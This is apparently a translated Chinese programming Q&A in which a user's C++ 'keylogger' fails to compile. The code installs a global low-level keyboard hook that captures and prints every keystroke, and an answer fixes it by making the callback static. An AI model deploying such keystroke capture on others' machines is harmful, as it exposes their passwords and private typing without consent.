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[英]c++:error C2440: '<function-style-cast>' : cannot convert from 'A<TYPE>' to 'B<TYPE>'
[英]error C2440: 'type cast' : cannot convert from 'overloaded-function' to 'HOOKPROC'
我正在研究鍵盤記錄器,這就是我得到的
Keylogger.h:
#pragma once
#include <stdio.h>
#include <windows.h>
class Keylogger
{
KBDLLHOOKSTRUCT kbdStruct;
BYTE keyState[256];
WCHAR buffer[16];
public:
HHOOK hKeyHook;
Keylogger(void);
~Keylogger(void);
LRESULT WINAPI KeyEvent(int nCode, WPARAM wParam, LPARAM lParam);
};
Keylogger.cpp:
#include "Keylogger.h"
Keylogger::Keylogger(void)
{
}
Keylogger::~Keylogger(void)
{
}
LRESULT WINAPI Keylogger::KeyEvent(int nCode, WPARAM wParam, LPARAM lParam)
{
if( (nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)) )
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
GetKeyboardState((PBYTE)&keyState);
ToUnicode(kbdStruct.vkCode, kbdStruct.scanCode, (PBYTE)&keyState, (LPWSTR)&buffer, sizeof(buffer) / 2, 0);
printf("%X\t%c\n", buffer[0], buffer[0]);
}
return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}
main.cpp中:
#include "Keylogger.cpp"
int main(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int nCmdShow)
{
Keylogger kl = Keylogger();
kl.hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) kl.KeyEvent, GetModuleHandle(NULL), 0);
MSG message;
while(GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
UnhookWindowsHookEx(kl.hKeyHook);
return 0;
}
在以下行kl.hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) kl.KeyEvent, GetModuleHandle(NULL), 0);
我得到錯誤C2440:'type cast':無法從'overloaded-function'轉換為'HOOKPROC'
有沒有辦法解決這個問題?
WinAPI主要是一個C編程接口,因此它不了解類。 回調應該是靜態的:
static LRESULT WINAPI KeyEvent(int nCode, WPARAM wParam, LPARAM lParam);
然后
kl.hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) Keylogger::KeyEvent, GetModuleHandle(NULL), 0);
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